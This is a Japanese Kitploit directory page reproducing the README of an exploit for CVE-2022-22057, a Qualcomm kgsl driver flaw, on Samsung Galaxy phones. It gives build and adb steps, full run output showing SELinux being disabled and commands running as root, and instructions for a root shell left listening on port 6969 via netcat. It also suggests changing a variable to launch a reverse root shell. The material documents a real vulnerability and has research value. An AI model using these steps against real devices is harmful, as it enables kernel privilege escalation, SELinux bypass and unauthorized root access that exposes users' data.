Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22057_SM-F926U — Qualcomm kgsl ドライバーのエクスプロイト (CVE-2022-22057) for Samsung Galaxy デバイス向けで、任意のカーネルメモリの読み書き、SELinux バイパス、レースコンディションによる一時的なルートアクセスを実現 | Kitploit
ツール/GitHubGitHub/diabl0w/cve-2022-22057_sm-f926u
Androidセキュリティ特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトモバイルセキュリティバイナリエクスプロイト
GitHubdiabl0w/cve-2022-22057_sm-f926u

CVE-2022-22057_SM-F926U

Qualcomm kgsl ドライバーのエクスプロイト (CVE-2022-22057) for Samsung Galaxy デバイス向けで、任意のカーネルメモリの読み書き、SELinux バイパス、レースコンディションによる一時的なルートアクセスを実現

リポジトリを見る
1013年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

フォーク

SM-F926U向けの私の適応版で、元のエクスプロイトはこちらです。
エクスプロイトを発見し、SM-F926Uへの移植と使いやすくするための質問に対して極めて忍耐強く対応してくれたm-y-moに多大な感謝を捧げます。

Shizukuのコードをベースにしたスタートアップデーモン(libtimeline.so)を追加しました。

一時ルートソリューションを安定させるためのダーティなトリックを追加しました(下記参照)。

免責事項:私は破壊されたデバイス、データ損失、データ盗難、デバイスのセキュリティについて一切責任を負いません。
免責事項2:私は開発者ではなく、プロフェッショナルな改造者に近い存在です。問題が発生した場合、助けようとするかもしれませんが、このスレッドを二度と見ないかもしれません。自己責任で進めてください。

必要条件:

  • 特定のkallsymオフセットが必要なため、ファームウェアバージョンがF926UXXS1BUL6と同等または近いこと(F926USQS1BUL6でのみテスト済み)

手順:

  • すべての手順、上記の免責事項、および以下の注意事項を最初に読んでください
  • libtimeline.so(ndk-buildを使用)とtimeline(makeを使用)をコンパイルする
  • 両方を /data/local/tmp にコピーする
  • デバッグ用:/data/local/tmp/timeline を直接実行すると、エクスプロイトが動作しているかハングしているかがわかります(下記の注意事項を参照)
  • 本番用:/data/local/tmp/libtimeline.so を実行する
  • 警告: デバイスがカーネルパニックを起こして再起動する可能性があります。その場合は、起動するのを待ち、デバイスのロックを解除し、起動後数分間デバイスを「落ち着かせて」から再度試してください。理論的には、最悪の場合、メモリ内のデータが失われるだけです。そのため、エクスプロイトを実行する前に重要なデータを保存してください。
  • エクスプロイトが完了し、スタートアッププロセスがループに入った後(なぜこれを行うかは下記の注意事項を参照):
    • adbセッション内で netcat 127.0.0.1 6969 と入力して、ルートシェルに接続する
    • 接続できたら、id と入力するとルートの資格情報が表示されるはずです
    • コマンドの発行は次のようにも行えます: echo 'YOUR COMMAND' | netcat 127.0.0.1 6969

さらなる注意事項:

  • 現在、エクスプロイトが正常に実行されたことを示す実装はありません。代わりに、timelineバイナリ(/data/local/tmp/timeline)を直接実行すると、エクスプロイトが成功したかどうかが表示されますが、adbセッションを終了するとすぐにデバイスがクラッシュします。そのため、libtimeline.soから実行します。
  • libtimeline.soから実行している場合でも、Androidがバックグラウンドでtimelineプロセスを強制終了すると、電話が再起動します。私の電話では、プロセスが強制終了されるまで通常8時間から数日かかります。
  • libtimeline.soがCPUを100%使用する: topでtimelineが約100%のCPU使用率で動作していることに気づくでしょう。これが正当なものかどうかはわかりません。実際は、プロセスが閉じてデバイスがクラッシュするのを防ぐためにwhile(1)状態になっているだけなので、CPU使用率が高い原因やそれが誤検出かどうかはまだ見つけていません。 修正済み
  • これは一時的なルートソリューションです。つまり、magiskもsuマネージャーもなく、defexも有効のままです。
  • 警告: このルート手法は非常に安全ではありません
    • netcatを介して6969ポートでルートシェルが実行されたままになり、そのポートにコマンドを書き込む任意のサービスがルート権限でコマンドを実行できるようになります。

オリジナル

Qualcomm CVE-2022-22057 のエクスプロイト

解説記事はこちらにあります here。これは2021年11月に報告したQualcomm kgslドライバのバグです。このバグを利用すると、信頼されていないアプリドメインから任意のカーネルメモリの読み取りと書き込みが可能になり、SELinuxを無効にしてルートを取得できます。

このエクスプロイトは、ファームウェアバージョンF711BXXS2BUL6、ベースバンドF711BXXU2BUL4、カーネルバージョン5.4.86-qgki-23063627-abF711BXXS2BUL6(EUX地域)のSamsung Galaxy Z Flip 3(欧州版SM-F711B)でテストされています。エクスプロイト内のオフセットは、そのファームウェアバージョンを参照しています。通常のカーネルイメージ内のオフセットに加えて、ion_utils.c内のionメモリプールのさまざまなアドレスもファームウェア固有です。

参考までに、ndk-21のclangでコンパイルするために以下のコマンドを使用しました:

root@kitploit:~
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

エクスプロイトはかなり信頼性が高いです(テストデバイスで約70%)。ただし、起動後数分間は起動直後に多くのbroken/failedなbinder呼び出しが発生するため、実行前に数分待つ必要があります。(Qualcommの問題かSamsungの問題かは完全にはわかりません)

テストするには、ファイルをクロスコンパイルし、adbで実行します:

root@kitploit:~
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

成功すると、SELinuxが無効になり、idコマンドがrootとして実行され、結果が /data/local/tmp/id.txt ファイルに書き込まれます:

root@kitploit:~
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

wait complete -1 が表示された後、長い一時停止がありますが、これは1分以内であるべきで、正常です。また、ワークをキューに入れるのに時間がかかる場合もあります(queuing work, waiting to aquire spin lock が表示された後、数分かかることがあり、忍耐が必要ですが、それほど一般的ではありません)。エクスプロイトは通常、数分で完了します。

ファイル /data/local/tmp/id.txt で、コマンドがrootとして実行されたことを確認できます:

root@kitploit:~
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

別のコマンドを実行するには、work_queue_utils.c の setup_sub_info 内の変数 cmd を変更します。(例:リバースルートシェルを起動するなど)

ツールをダウンロード